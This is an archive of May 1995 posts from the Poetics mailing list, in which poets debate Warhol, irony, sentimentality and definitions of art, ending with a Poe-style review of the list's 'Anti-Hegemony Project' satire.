I read an interesting article once, that criticized Warhol for remaining an adolescent. It went on to say that the grid of America, the finely knit fabric of our society was being destroyed by peolpe like Warhol. There was no continuum. There were those at the top and those at the bottom and nothing in between to connect the two. The only way to identify with the top was through an image. Something like a bottle of Heinz Ketchup. I may not have that quite right. But the point was, Warhol did not encourage real communication or depth. It was all a glorious facade, glamorous and full of starlight and hollywood, although I admit he had his darker moments.

Enough said

BS

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546. **Blair Seagram**
Re: Total Irony
Fri 26 May 1995

Total irony may not be possible in art because art exists within a frame of reference that is suppose to be outside the so-called objective world. We make a space and say what happens here is not the world of everyday 'reality" but may be a reference to it.

Okay, fine. But I'm with Kierkegaard that total irony can exist and did exist in the figure of Socrates, who died because of it. He could have saved himself, but chose to go down by irony, leaving us with a type of irony, we call "Socratic". Another type is "dramatic" irony.

Bye for now!
BS

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547. **Carl Lynden Peters**
Re: where were you born
Fri 26 May 1995

> *Poetics (and anybody else)*
> *It seems to me you might have some ideas about some things that have been bothering me for a while.*
> *What do we mean when we call someone's work sentimental?*

--i would say we mean it's self indulgent.

> *What is the relation between poetry and capital?*

--huge question. with i guess zillion answers. what immediately comes to mind is that there isn't one. if you write poetry that's what you do. if you want to sell it then you figure out a way of selling it. and if you cant, then you just get another job. but hopefully you still write poetry because that's what you're compelled to do.

> *How do readers of ths list know when a work of theirs is finished/complete/abandonable?*

--intuition. you know. you just know.

> *How do we know when a work is good?*

--intuition. intellect also. but that has its roots in intuition.

> *Curious in and from NY*
> *Jordan*
>
> *PS Happy Memorial Day*

--take care,
carl

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548. Blair Seagram
Re: What happens next
Fri 26 May 1995

Dear John:

I've been thinking about your post to me last week and since I am a little late getting to my messages this week, I am only now coming across your posts to the list, concerning this concern.

I think you are right. Something must change. More on this later.

blair

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549. Alan Sondheim
Re: where were you born
Fri 26 May 1995

On Fri, 26 May 1995, Jordan Davis. wrote:

> *Poetics (and anybody else)*
> *It seems to me you might have some ideas about some things that have been bothering me for a while.*
> *What do we mean when we call someone's work sentimental?*

That it thrusts backwards with a whisper, that it is a memory of what we once called truth.

> *What is the relation between poetry and capital?*

The list itself, professionalization of writing, is a guarantee of poetry as a discursive formation, power following, capital yes or no depending on congressional weather.

> *How do readers of ths list know when a work of theirs is finished/complete/abandonable?*

For me when the thought runs out, no room for insertion, when the caress couples as a closed manifold.

> *How do we know when a work is good?*

When it is finished and complete.

Alan

Caught down and out NY

> *Curious in and from NY*
> *Jordan*
>
> *PS Happy Memorial Day*

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550. Lindz Williamson
Re: Warhol and irony
Sat 27 May 1995

It was all a glorious facade,
glamorous and full of starlight and hollywood, although I admit he had
his darker moments.

Yes Blair, that's it that is the beauty of it all. We bought into it. He packaged it and made millions and we called it art. If I could do that I would be so happy.

Lindz

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551. Jim Rosenberg
Sentiment
Sat 27 May 1995

Jordan Davis:
> What do we mean when we call someone's work sentimental?

The fear that the work is too much comprised of the emotional substance of a single self; the fear the emotional substance of that self is unreliable.

(Please note this is meant as a *personal* definition of what I would mean in pronouncing *my own* work too sentimental.)

--

Jim Rosenberg http://www.well.com/user/jer/
CIS: 71515,124
WELL: jer
Internet: [redacted]

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552. Charles Alexander

Re: Sentiment

Sat 27 May 1995

I appreciate Jim Rosenberg's sense that his definition of "too sentimental" is a personal one related to his own work, but still, when he says that to say a work is "too sentimental" is to express

"the fear that the work is too much comprised of the emotional substance of a single self; the fear the emotional substance of that self is unreliable,"

more questions are raised.

How comprised is "too much comprised?"

What is the "emotional substance of a single self?" -- although I like the conjoining of the words "emotional" and "substance."

How does one determine what is unreliable? Is anything entirely reliable?

charles

charles alexander
chax press
minnesota center for book arts
phone & fax: [redacted]
e-mail: [redacted]

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553. Charles Alexander
Re: Art, etc.
Sat 27 May 1995

If I might muddle things even more, since Jim P. says I probably agree with some of the things he and Sheila are saying about art. I'm involved, because I do various sorts of things I consider art, with his question,

"Is there no one here who thinks poetics is something fundamentally different from the principles of painting, the principles of music, etc?)"

I've made music and studied it and used it in writing in various ways, I've made visual art in the form of books and prints, and collaborated with many far more involved in the visual arts, as well as with dancers and composers. I think that these various arts are different from one another, possibly even radically different, but not fundamentally different. I usually shy away from wholistic/holistic definitions like Carl's that art is what involves hand, heart, and mind. But I do think all of these arts involve utterance, silence, space, movement, structure, context, and other concepts in common, though how these concepts achieve form may be quite different. I am also certain that there may be more variation within an artistic practice than among various artistic practices. For example, my work in language has more to do with Steve Nelson-Raney's work in music than it has to do with Dana Gioia's work in language.

charles

charles alexander
chax press
minnesota center for book arts
phone & fax: [redacted]
e-mail: [redacted]

↑ Index

554. Kevin Killian
Re: Sentiment
Sat 27 May 1995

Jim Rosenberg:

> *The fear that the work is too much comprised of the emotional substance of a single self; the fear the emotional substance of that self is unreliable.*

Jim, Jim, Jim,

Lots of us are afraid of our emotions, but it's beyond me to think of an "emotional substance" that *is* reliable-or to see that as a problem.

Dodie Bellamy

↑ Index

555. **John Cayley**
real real
Sat 27 May 1995

A very late addition to this thread. Not really a hoax, but worth checking out:

John Peck's _Poems and Translations of Hi Lo_

...one reviewer referred to 'Hi Lo' as Peck's (I think this was the neologism:) 'alteronym'. An interesting way to put it.

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556. **John Byrum**
Re: loss of the name/art & sa...
Sun 28 May 1995

Charles,

Guess I should read all posts before replying. Thanks for cleaning the heads on this one.

John

↑ Index

557. **John Byrum**
Re: loss of the name/art & sa...
Sun 28 May 1995

Dear Charles,

I did not put the following into this discussion:

>" . . . foucault's neat idea to publish books without the author's >name printed across them. anonymity. that entails a great sacrifice, >but may be one way of subverting the western box," as John Byrum >says.

someone else did. Can't think now who it was. Perhaps this person will remind us both (sorry). I did quote from this passage in a previous message though.

Best,

John

↑ Index

558. **John Byrum**
Re: art after art after art
Sun 28 May 1995

Quote from recent message from Ron Silliman:

> *After Duchamp, after Cage, WHO has a very narrow definition of >>art?*
>
> *Checked out the CAP-L list lately?*
>
> *There is no avant-garde. Merely folks who got left behind...*
>
> *(That's a quote but I forget the source.)*
>
> *Ron Silliman*

Forked over the price of a VCR lately? Images get easier & easier.

↑ Index

559. **Carl Lynden Peters**
Re: loss of the name/art & sa...
Sun 28 May 1995

hi, john: that was me again. it happens a lot. anonymity, i mean. it's an accomplishment!

take care,
carl

> *Dear Charles,*
>
> *I did not put the following into this discussion:*
>
> *" . . . foucault's neat idea to publish books without the author's >name printed across them. anonymity. that entails a great sacrifice, >but may be one way of subverting the western box," as John Byrum >says.*
>
> *someone else did. Can't think now who it was. Perhaps this person will remind us both (sorry). I did quote from this passage in a previous message though.*
>
> *Best,*
>
> *John*

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560. Carl Lynden Peters
Re: Art, etc.
Sun 28 May 1995

...my mind's eye

...my imaginary hand

..."as writing is the thing/ carries the whole soul forward"

↑ Index

561. Carl Lynden Peters
Re: loss of the name/art & sa...
Sun 28 May 1995

>
> hi, john: that was me again. it happens a lot. anonymity, i mean. it's an
> accomplishment!
>
> take care,
> carl
> >
>
...rather, an _Art_
c

> *Dear Charles,*
>
> *I did not put the following into this discussion:*
>
> *" . . . foucault's neat idea to publish books without the author's >name printed across them. anonymity. that entails a great sacrifice, >but may be one way of subverting the western box," as John Byrum >says.*
>
> *someone else did. Can't think now who it was. Perhaps this person will remind us both (sorry). I did quote from this passage in a previous message though.*
>
> *Best,*
>
> *John*

↑ Index

562. **Carl Lynden Peters**
Re: Art, etc.
Sun 28 May 1995

"Is there no one here who thinks poetics is something fundamentally different from the principles of painting, the principles of music, etc?"

---

what follows are some quotations from joseph kosuth's essay "Art After Philosophy I and II" (first published in _Studio International_, oct. and Nov.; it's also in Battcock's anthology _Idea Art_ 1973):

-

"Indeed, it is nearly impossible to discuss art in general terms without talking in tautologies... what art has in common with logic and mathematics is that it is a tautology; i.e., the 'art idea' (or 'work') and art are the same thing..."

-

"It is necessary to separate aesthetics from art because aesthetics deals with opinions on perception of the world in general... Above all things Clement Greenberg is the critic of taste. Behins every one of his decisions is an aesthetic judgement, with those judgements reflecting his taste. And what does his taste reflect? The period he grew up in as a critic, the period "real" for him: the fifties."

-

"But in the philosophic tabula rasa of art, 'if someone calls it art,' as Don Judd has said, 'it's art.'"

-

"All art (after Duchamp) is conceptual (in nature) because art only exists conceptually."

-

"Art "lives" through influencing other art, not by existing as the physical residue of an artist's ideas."

-

"Works of art are analytic propositions. That is, if viewed within theor context -- as art -- they provide no information whatsoever about any matter of fact. A work of art is a tautology in that it is a presentation of the artist's intention, that

is, he is saying that that particular work of art _is_ art, which means, is a _definition_ of art."

-

"I do not make art," Richard Serra says, "I am engaged in an activity; if someone wants to call it art, that's his business, but it's not up to me to decide that. That's all figured out later."

-

"Formalist criticism is no more than an analysis of the physical attributes of particular objects that happen to exist in a morphological context... Formalist art is only art by virtue of its resemblence to earlier works of art. It's a mindless art. Or, as Lucy Lippard so succinctly described Jules Olitski's paintings: 'they're visual _Muzak_.'"

-

carl

↑ Index

563. **Tony Green**
Re: really Real Andy
Sun 28 May 1995

Thinking of Carl Lynden Peters' recent comments, after returning from a break from the List, especially this thing about Art.

I would like to insert an alternative possibility into the discussion. Duchamp and I hope Kosuth are covered by it. Theatre and Music arts come in as performance:-

My hypothesis is that Art is Cunning and it is Wit in Europe before about 1660: Beauty confuses everything after about 1660. Aesthetics, then (not so long ago and now, can be founded on assessments of an action on the social in which widespread delusions are seen to be just that. (The notes on irony are very useful.

Representations of all kinds in text and image and in performance can be measured by their sometimes enduring interest to those of us who encounter them who value them when we want to do something effective ourselves.

Beauty is one among many devices, like realism
is a device, in this account of Art. Contents, Forms, Chance
Procedures are all devices or instruments, not criteria for value.

[A note apropos C.Olson's Post-Modern. Isn't it the case that his location of the Modern is somewhere around 500 B.C.? (Someone will remember, at present I

can't think of Chapter and Verse. The discussion is in any case somewhat broader than that regarding modern as industrial revolution in its steam phase onwards....

The difference between pre- and post- 1660 in this proposal is the difference between say a painter making devotional images, received as such before 1660, and the academies of painting then turning same into museum pieces, as instruction in how to produce fitness and beauty. So doing, the said images cease to be received as devotional images and become Art as we are now accustomed to it.

My point is that what we call Art, is something we have detached from its occasions of social functioning. We have also detached it from its craft/guild methods of instruction, over a relatively short period of time. And that it has taken a whole lot of struggle in the 19th and 20th centuries to maintain whatever is left of our knowledge of how to be effectively Cunning and Witty.

(I say "we", I wish I could say "they".

↑ Index

564. Carl Lynden Peters
Re: really Real Andy
Sun 28 May 1995

---

ya, _cunningly straight forward... tony: your comments are much appreciated at this end. they relate to a course i'm taking on 17th c prose and verse. my main area of focus is herbert's pattern poetry: image and text/ unity in duality

got a run now, but more on this later

take care,
carl

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565. Chris Stroffolino
milo deangelis
Sun 28 May 1995

I have this vague memory (I wasn't really paying attention to this thread) that a couple of months ago there was some kind of discussion on Milo DeAngeli (FINITE INTUITION-sun and moon, 1995) on this list-- My vague recollection was that there were alot of people deriding him as either sexist or elitist or something. Does anybody remember the nature of that discussion? Or debate? Is anybody who participated in it still on this list for the summer? I ask, because I'm writing a review and I am curious what

others said....(or even what others may say-- coz I guess it's possible I was imagining the whole thing---) (i mean "merely imagining")---chris stroffolino

↑ Index

566. **Tony Green**
Re: art after art after art
Sun 28 May 1995

---

dear Herb & other old farts on the list,
isnt it just great to watch the young folks do it all again thinking
it's for the first time...heh heh (wheeze wheeze

↑ Index

567. **Tony Green**
Re: some Lorca
Sun 28 May 1995

I. Lightman's translation of May 24 : What's that mean for Lorca: "sweet fumes of grass" -- fumes? What does the Spanish text have there?

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568. **Mark Roberts**
Re: some Lorca
Sun 28 May 1995

> *I. Lightman's translation of May 24 : What's that mean for Lorca: "sweet fumes of grass" -- fumes? What does the Spanish text have there?*

Before the car was invented LA's air pollution could have been described as "sweet fumes of grass" I suppose

MR

↑ Index

569. **Tony Green**
Re: Actually actual?
Sun 28 May 1995

A PARADOX?

You only get the real picture when you see it without the
intervention of any thought or imagination or projection
or analysis.

Or

You only get the real picture when you see it with the continuation of thought and imagination and projection to the point where you see it as something that has furnished you with the occasion for what you have just accomplished thereby. What you have accomplished is, precisely arriving at this conclusion.

The position of subject in relation to the real in one account has to be blank, in the other full, in the sense of having completed a process.

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570. **Gary Sullivan**
Re: milo deangelis
Sun 28 May 1995

Dear Chris:

I think Bernstein posted a brief selection from an essay (included in the S&M book?) on this list a couple of months ago. "Deriding him"--that would've been me. Not for being sexist or elitist. For a statement (this is from memory) like "Perhaps there can be no great poet who has not produced a serious study of some previous great poet." I took Bernstein's quoting that particular passage but doing so as part of an ad for _Finite Intuition_ to be Charles's way of entering into the (then ongoing) debate about "theory" without soiling his pantlegs.

I don't remember everything I said, but it came out of that quote, which I thought (& still think) was bullshit. Not for being elitist -- elitism doesn't bug me. But simply that it isn't true -- assuming everyone agrees on what a "great" poet is (good luck) -- that to be a "great" poet, you necessarily produce a serious study of another, previous, "great" poet. (& this is coming from someone who *writes* about poets I think are "great," & who plans on writing about more of them.)

Spencer also responded to the quote from the ad; and, again, while I don't remember the specifics, the argument wasn't either that DeAngeli was being sexist or elitist. (I don't think it was, anyway.)

Limited, maybe. And this criticism, Chris, limited to the contents of the brief, posted quote. (He may be a perfectly wonderful poet or essayist for all I know.)

Yours,

Gary

↑ Index

571. **Carl Lynden Peters**
Re: art after art after art
Mon 29 May 1995

> *dear Herb & other old farts on the list,*
> *isnt it just great to watch the young folks do it all again thinking*
> *it's for the first time...heh heh (wheeze wheeze*

...what's old is new again, eh
c

↑ Index

572. **Gary Sullivan**
Re: art after art after art
Mon 29 May 1995

On Mon, 29 May 1995, Tony Green wrote:

> *dear Herb & other old farts on the list,*
> *isnt it just great to watch the young folks do it all again thinking*
> *it's for the first time...heh heh (wheeze wheeze*

Dear Buffy, Tad, Biff & other Teen Team-ers, Isn't it just sooper deelux having for role models a generation who in all earnestness & with all evidence to the contrary refer to themselves as "Generation 1," and who are simultaneously dismissive of our own ludicrous notions? [Reaches for gum, pulls out fresh stick.] Wow! I just realized! Buffy ... this is *double* bubble! Does that mean, like, "second generation"? That is so cooool. What? Whaddaya mean "Awreddy Been Chewed"?

↑ Index

573. **Chris Stroffolino**
Re: Actually actual?
Mon 29 May 1995

Less McCann & Eddie Harris---"Real compared to what?"

↑ Index

574. **John Geraets**
Re: art's after
Mon 29 May 1995

Two questions intrigue me are, what is art
without quality, and, what is art with
quality removed? This clear?

John Geraets
[redacted]

↑ Index

575. **Kevin Killian**
Re: Art, etc.
Mon 29 May 1995

Ryan Knighton:

> *To define is an*
> *animation of what is already alive and hunted.*

It's nice to see somebody making some sense around here, Ryan.

Dodie Bellamy

↑ Index

576. **Wystan Curnow**
Re: art's after
Mon 29 May 1995

Hi John,
The only great teacher I ever had was Morse Peckham. Among his one liners were: 'the function of criticism was to postpone value judgement'
Does that answer your question, or one of them?
Wystan

↑ Index

577. **Jake Berry**
Re: art's after - John
Mon 29 May 1995

John,
I know its an old question. But how do we define quality?

↑ Index

578. **english is mandarin --Tom Raworth**
New Web site
Mon 29 May 1995

I've recently been working at putting some information about the U.K. small-press poetry scene online--as far as I can tell (from a glance at the links here at Buffalo) this info is not otherwise available. The URL is:

http://ac.dal.ca/~ndorward/homepage.html

This is still under construction, but does include: info on small press books, pamphlets and journals; specialist bookdealers and distributors; and poetry events and readings. There is also a fairly comprehensive bibliography of J.H. Prynne. More presses, books, bibliographies, etc. will be added as I pull stuff down from the shelves.

Any comments, questions, additions, corrections, etc. etc. would be much appreciated. Also, any suggestions about presentation and cosmetics would be welcome: I'm using a VT100 term., and it looks fine here, but I was dismayed to see it look rather different & occasionally wrong on MOSAIC-- made a few fixes, but need to know if there's any more trouble.

Nate Dorward ([redacted])
"Clan destiny rules OK" --Alan Halsey.

↑ Index

579. **Jim Pangborn**
Re: Art, etc.
Mon 29 May 1995

---

26 May 1995 15:49:47 -0400 (EDT) Carl Lynden Peters <[redacted]> writes:
>
>re the definition of art -- that's easy: anything made with the working
>unity of hand eye and mind. no mystery there whatsoever. the simplest
>thing in the world: art. however you write it or conceive it. writ with a
>small a or write large with a big A. low art. high art. mind is everywhere.
>

Ah Carl . . . so you think it's easy . . .

Well, art is no mystery, true. *Definition* is tricky, tho.

Moment to moment, we all (I bet) use the Jesse Helms method for sorting art from not-art: I know it when I "see" it. ("See" is figurative here, of course--a metonymy. But signifying *what*, exactly? (No need to answer right away!)) You're right that art is fundamental, not a thing that needs to be explained in terms of other, supposedly more basic things.

Terms like "working unity" sound like bedrock common sense, which in itself is grounds for suspicion, but let's let that pass. Blind people do sometimes make art, and so do hand-icapped ones. Even the incurably split-minded may, as far as I know, do this thing too. Therefore the definition you offer is, if true, practically all metonymic, wherefore the terms "hand," "eye," and even "mind" all cry out for further definition. That's what all this babble has been about: perhaps not the simplest thing after all. The *best* one does in response to this problem is make more art, maybe in the form of poetic images and aphorisms

like the one you have offered above. But those of us who teach are called upon to explain, to define, as best we can. My students have been trained to expect facts, sadly--not koans. (Of course I set them koans too, but I want to let them *feel* they get their moneysworth of facts.)

In order to be useful, a definition has to be reasonably complete. What about memorability, for example, which finds no place in your formula? And why imply a focus on the product ("-thing made") when it's the process that obviously constitutes the heart of the matter? That is, if it has a heart. . .

With the sound of one eyelid winking,
--Jim

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580. **Ryan Knighton**
Re: Art, etc.
Mon 29 May 1995

Hmm,

Well, it seems to me, sometimes, like when I don't sleep, like now, for lack of a better example, that a "definition" of art is better served, as Creeley writes, when it is as large as its infinitive: i.e. "to define". There seems to be something silent in the infinitive, or perhaps imperative, which compels art to to grow, break, contradict and continue like an Escher (sp?) work (his schtuff is more like a defintion, defining, if it's a good day). To define is an animation of what is already alive and hunted. Whew! I think I can sleep now.

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581. **Carl Lynden Peters**
Re: Art, etc.
Mon 29 May 1995

>
> 26 May 1995 15:49:47 -0400 (EDT) Carl Lynden Peters <[redacted]> writes:
> >
> >re the definition of art -- that's easy: anything made with the working
> >unity of hand eye and mind. no mystery there whatsoever. the simplest
> >thing in the world: art. however you write it or conceive it. writ with a
> >small a or write large with a big A. low art. high art. mind is everywhere.
> >
>
>
> Ah Carl . . . so you think it's easy . . .

>
> Well, art is no mystery, true. *Definition* is tricky, tho.
>
---

jim, hi: --i didnt say that. of course it's a mystery. it's the greatest mystery in the world. nor did i say it's easy. i said it was simple. which it is. simple. thoreau: life is fretted away in detail. simplify. simplify. of course it has to be simple. but not too simple

---

> *Moment to moment, we all (I bet) use the Jesse Helms method for sorting art from not-art: I know it when I "see" it. ("See" is figurative here, of course--a metonymy. But signifying *what*, exactly? (No need to answer right away!)) You're right that art is fundamental, not a thing that needs to be explained in terms of other, supposedly more basic things.*
>
> *Terms like "working unity" sound like bedrock common sense, which in itself is grounds for suspicion, but let's let that pass. Blind people do sometimes make art, and so do hand-icapped ones. Even the incurably split-minded may,*

--my comment wasnt meant to be read that way. you're over simplifying my words here, to risk a contradiction. a paradox on the metaphorical plane.

> *as far as I know, do this thing too. Therefore the definition you offer is, if true, practically all metonymic, wherefore the terms "hand," "eye," and even "mind" all cry out for further definition. That's what all this babble has been about:*

---

it has to have wonder for me. else it aint art. simple!

carl

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582. Carl Lynden Peters
Re: art's after
Mon 29 May 1995

> *Two questions intrigue me are, what is art without quality, and, what is art with quality removed? This clear?*
>
> *John Geraets*

> [redacted]

--the one is good art, the other bad art, but we've already been there, altho it's always a constant interest to me.

what abt those artists who/m go out of their way to make bad art! --like the brilliant advice sol le witt gave to eve hesse: :JUST DO BAD ART! DO SHIT! JUST DO SHIT! --and the work is so extraordinary...

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583. **Jonathan Brannen**

Re: The Etymology of Things revisited

Mon 29 May 1995

---

from THING IS THE ANAGRAM OF NIGHT by Jonathan Brannen
(forthcoming from Texture Press)

the birds funtion as though reconvened on a prepared piano before a one-act monologue in the bifocal distance of a mutual landscape the channel currents are too strong for swimming too unsettled for water burial the churning body is speaking to fish who fail to grasp the urgent conceptual underpinnings of crisis intervention

if the order is not executed where is the shadow of its execution a man can pretend to be unconscious but conscious everry eternity is a measure of things eternal and every time of things in time it rests by changing stretched out along the light and shadow some sen- tences have to be read several times to be understood as sentences

look in the drawer where you think you will find it the drawer is empty you see a picture of a chair you are then told it represents a construction the size of a house now you seet it differently you don't see change of aspect you see change of interpretation no end but among words

birds prepared distance currents grasp
the executed shadow
stretched light
represents

too unsettled for burial
crisisisexecuted but conscious
every time
of things

sentences as sentences will
find the drawer empty
the size of change
among words

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584. **Jonathan Brannen**
Re: Actually actual?
Mon 29 May 1995

"Nothing is real. Everything is permitted."

(quote from the leader of the assassins, can't recall his name at the moment),

Jonathan Brannen

↑ Index

585. **Charles Alexander**
Re: The Etymology of Things revisited
Mon 29 May 1995

Jonathan Brannen revisits things, and in that revisiting finds a world, "no end but among words," yet the living of the words/work is among words and much more.

If this excerpt is telling, as I imagine it is, knowing Jonathan's work as a fine tuning/turning of the word and senses, I look forward to the Texture Press book and congratulate Susan Smith Nash at Texture for publishing it.

charles

charles alexander
chax press
minnesota center for book arts
phone & fax: [redacted]
e-mail: [redacted]

↑ Index

586. **Stephen Galen Cope**
DIU (Long Post Warning)
Mon 29 May 1995

This message rec'd from one Edgar Allen Poe (or a critic
who goes by that name) w/ the request that I forward it
here. It's rather lengthy, and the author has recommended

that it not be suffered through by those who find it ir-
relevant or otherwise out of place. Delete as you see fit...

5 / 29 / 95

The Raving

Once upon a schoolday dreary one plus one
was written clearly "what's the answer to
this query?"
quoth the student, "I don't know"

Ah, distinctly I remember it was science in
September when the teacher said "Remember?"
quoth the student, "I don't know"

And the weary, sad, uncertain social students
listened while the teacher lectured like a preacher
"Name a demographic feature"
quoth the student, "I don't know"

And in English never flitting always sitting
as she teaches she asked the correct
position of the words in a composition
quoth the student, "I don't know"

-a student

THE ANTI-HEGEMONY PROJECT

A satire, pointedly such, at the present day, and especially by American writers, is a welcome novelty, indeed. We have really done very little in the line upon this side of the Atlantic--nothing, certainly, of importance--Kenneth Koch's clumsy poems and Mark Twain's after-dinner sketches to the contrary notwithstanding. Some things we have produced, to be sure, which were excellent in the way of burlesque, without intending a syllable that was not utterly solemn and serious. Poems, plays, fictions, essays, epigrams, and pop songs, possessed of this unintentional excellence, we would have no difficulty in designating by the dozen; but, in the matter of directly-meant and genuine satire, especially in or concerning verse, it cannot be denied that we are sadly deficient. And yet, let it be said, while we are not, as a literary people, exactly equal to "The Dunciad"--while we have no pretensions to echoing a Popish meter--in short, while we are no satirists ourselves, there can be no question that we answer sufficiently well as _subjects_ for satire.

We repeat that we were glad to see this work of Mr. Funkhouser and company abroad on the Internet; first, because it was something new under the sun; secondly, because, in many respects, it was well executed; and, thirdly,

because, in the universal corruption and rigmarole amid which we gasp for breath, it was really a pleasant thing to get even one accidental whiff of the unadulterated air of _truth_.

For those unfamiliar with the AHP, a brief history is sufficient to give the satire's overall dimensions. In February of 1995, a series of news briefs, modeled in style and format on those of the "clari.* news hierarchy," began to appear on Charles Bernstein's "Poetics List," which originates out of SUNY Buffalo. The contents of these items invariably reflected current goings- on on the Poetics List, and in the "poetry world" more generally. Many of these flashes were surreal, but some had an almost prosaic verisimilitude. In one, the loquacious Tom Mandel became a bounty hunter; in another; Ken Sherwood and Loss Glazier were called "Poetics Police"; in another, Language Poetry was blamed on tainted baby formula; in another, a "Save the NEA" effort was termed a cross-dressing fashion show. All of these interventions were identified as products of the "bleari.* nooz hierarchy," and further attributed to "The Anti-Hegemony Project." With surprisingly little distortion, the various jargons of politics, fashion, crime, sports, and economics were used to explain the ideological workings of the Art of the Muse--and quite adequately. The point, as soon became clear, was simple: to show that poetry's sublime particularity is no such thing.

More remarkable than the AHP itself, however, was the utter silence which greeted these stories' sudden broadcast. Indeed, until an item appeared transforming Barrett Watten into a killer whale--adapted from an item on the film "Free Willy"-- there was no public comment of _any_ sort. And even in this instance, in the chivalrous outcry of James Sherry, response was focused on the matter of authorship, the AHP's mysterious provenance having become a focal point for counter-critique. We say authorship and not source, for while the stories _had_ been posted from real accounts, the stories themselves were unsigned, and rumor began to circulate _privately_ that the true author--if such there was--was keeping himself (or herself) hid. Chris Funkhouser, from whose account many of the stories had been sent, quickly came forward to make a public statement, to the effect that "AHP" was a cooperative project. And soon enough, discussion died down again--or appeared to. Inevitably, however, the rumors themselves became subjects for AHP satire. In one, a tapeworm named "Benji" was said to have burrowed deeply into Charles Bernstein's personal computer; in another, attributed to CNN (the Co-Poetry News Network), AHP activity was blamed on a sentient robot gone mad on too much literature.

For the record, the AHP's interventions originated from the following persons' accounts, at the following institutions: Carla Billitteri, Nick Lawrence, and Martin Spinelli (SUNY Buffalo), Don Byrd, Christopher Funkhouser, and Belle Gironda (SUNY Albany), Sandy Baldwin (NYU), Stephen Cope (U.C. Santa

Cruz), Greg Keith (unaffiliated), Nada (unaffiliated). A few other accounts were also utilized, but as of yet we are unable to identify the owners.

But this was not the end. In a final hurrah, the AHP, after 12 days of relative silence, produced _en masse_ a blitz of items of a different sort altogether. These appeared on the last day of Feb. and first of March, 1995. No longer taking the form of fake news items, these final messages were modeled on the adolescent chit-chat of the Internet's many Newsgroups--the 'Net's discourse of choice. Presented as postings to an imaginary group called "alt.fan.silliman" (the model, we believe, was alt.fan.madonna), this later set of AHP posts again used real names, and again satirized the goings-on on Poetics and in the poetry world. But where the "bleari" stories had adopted a sober language, and had appeared at discreet intervals, the "alt.fan.silliman" items flirted with incomprehensibility, and were so voluminous as to overwhelm altogether the Poetics List's normal flow of activity. (In a mere two days, there were 24 "alt.fan" messages. By contrast, across a period of 25 days, about 30 "bleari" messages had been generated.) This last onslaught, unlike the prior intervention, met with immediate outcry--an outcry that took two basic forms. _First_, it was said that the sheer volume transformed the AHP's satire into a theft of the airwaves; _second_, that the focus on Ron Silliman amounted to a smear campaign. In response, the AHP's defenders pointed out that the satires were in many ways a _tribute_ to Mr. Silliman. (The aggrieved poet himself weighed in with a bemused admission that he _was_, all in all, tickled by the attention-- indeed, he responded to many of the "alt.fan" posts as if they had really been the outpourings of fandom.) The second critique --that the volume was inherently prohibitive of a fair exchange of ideas--was never directly countered, but in retrospect this point too seems debatable. To be sure, the swelling of traffic due to AHP intervention was sizable, but such swelling is itself within the bounds of predictable occurrence on a List. Moreover, when such swells draw criticism, it is usually on account of their _content_--a subject that Poetics still seemed unwilling to broach. The real source of ire was more probably something else --something never stated directly. The "bleari" satires, for all the * * * * * **

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587. **Stephen Galen Cope**

DIU (continued)

Mon 29 May 1995

...The "bleari" satires, for all their vehemence, treated poetry and Poetics as a matter of some importance. The "alt.fan" items treated these same affairs as adolescent twaddle. Could it be that the "alt.fan" postings--

unlike the "bleari" items--wounded the vanity of the List as a whole, and not merely the figures named directly? So much, in any event, for history.

As a work of the imagination and otherwise, the AHP had many defects, and these we shall have no scruple in pointing out --although Mr. Funkhouser is a personal friend of ours, and we are happy and proud to say so--but it also had many remarkable merits--merits which it will be quite useless for those aggrieved by the satire--quite useless for any _clique_, or set of _cliques_, to attempt to frown down, or to affect not to see, or to feel, or to understand.

Its prevalent blemishes were referrible chiefly to the leading sin of _appropriation_. Had the work been composed professedly in paraphrase of the whole manner of our culture's self-satirizing discourse, we should have pronounced it the most ingenious and truthful thing of the kind upon record. So close is the copy, that it extends to the most trivial points--for example, the use of fancy, personalized sig. files in Newsgroup postings. The turns of phraseology, the forms of allusion, the use of the screen, the general conduct of the satire--everything --all--are the property of the culture as a whole. We cannot deny, it is true, that the self-satiric model of the discourse in question is insusceptible of improvement, and that the contemporary satirist who deviates therefrom, must necessarily sacrifice something of merit at the shrine of originality. Neither can we shut our eyes to the fact, that the appropriation, in the present case, has conveyed, in full spirit, the subliminal critical qualities, as well as, in rigid letter, the inadvertent elegances of the journalistic and chit-chat modes of the day. We have in the AHP the bold, vigorous, and semi-lucid prose, the biting sarcasm, the pungent opinionation, the unscrupulous directness, of the world beyond poetry. Yet it will not do to forget that Mr. Funkhouser et al. have been _shown how_ to achieve these virtues. They are thus only entitled to the praise of close observers, and of thoughtful and skilful copyists. The analyses are, to be sure, their own. They are neither clari.'s, nor alt.fan.madonna's--but they are moulded in the identical mould used by these uncredited agencies of meaning.

Such servility of appropriation has seduced our authors into errors which their better sense should have avoided. They sometimes mistake intention; at other times they copy faults, confounding them with beauties. In the opening salvo, we find the lines--

> The palace dispatched Crown Prince Gizzi and
> Crown Princess Willis on a Southern
> California tour three days after the quake.
> Following oblique criticism, the pair cut
> short their trip and returned to Rhode
> Island.

The royal attributions are here adopted from a clari. story about the Imperial family of Japan, frequent subjects of news stories; but it should have been remembered that _Prince_ and _Princess_ enjoy very different meaning when applied to the ordinary citizens of a modern democracy, than they do when applied to the Royal Family of Japan.

We are also sure that the gross obscenity, the slander --we can use no gentler name--which disgraces the "AHP," cannot be the result of innate impurity in the mind of the writers. It is part of the slavish and indiscriminating imitation of a culture inured to such sins. It has done the AHP an irreperable injury, both in a moral and intellectual view, without effecting anything whatever on the score of sarcasm, vigor or wit. "Let what is to be said, be said plainly." True; but let nothing vulgar be _ever_ said, or conceived.

In asserting that this satire, even in its mannerism, has imbued itself with the full spirit of the polish and pungency of the extra-literary, we have already awarded it high praise. But there remains to be mentioned the far loftier merit of speaking fearlessly the truth, at an epoch when truth is out of fashion, and under circumstances of social position which would have deterred almost any man in our community from a similar Quixotism. For the dissemination of the AHP--an undertaking which brought under review, by name, most of our prominent _literati_, and treated them, generally, as they deserved (what treatment could be more bitter?)--for the dissemination of this attack, Mr. Funkhouser, whose subsistence lies in his pen, has little to look for--apart from the silent respect of those at once honest and timid--but the most malignant open or covert persecution. For this reason, and because it is the truth which he and his companions have spoken, do we say to him from the bottom of our hearts, "God speed!"

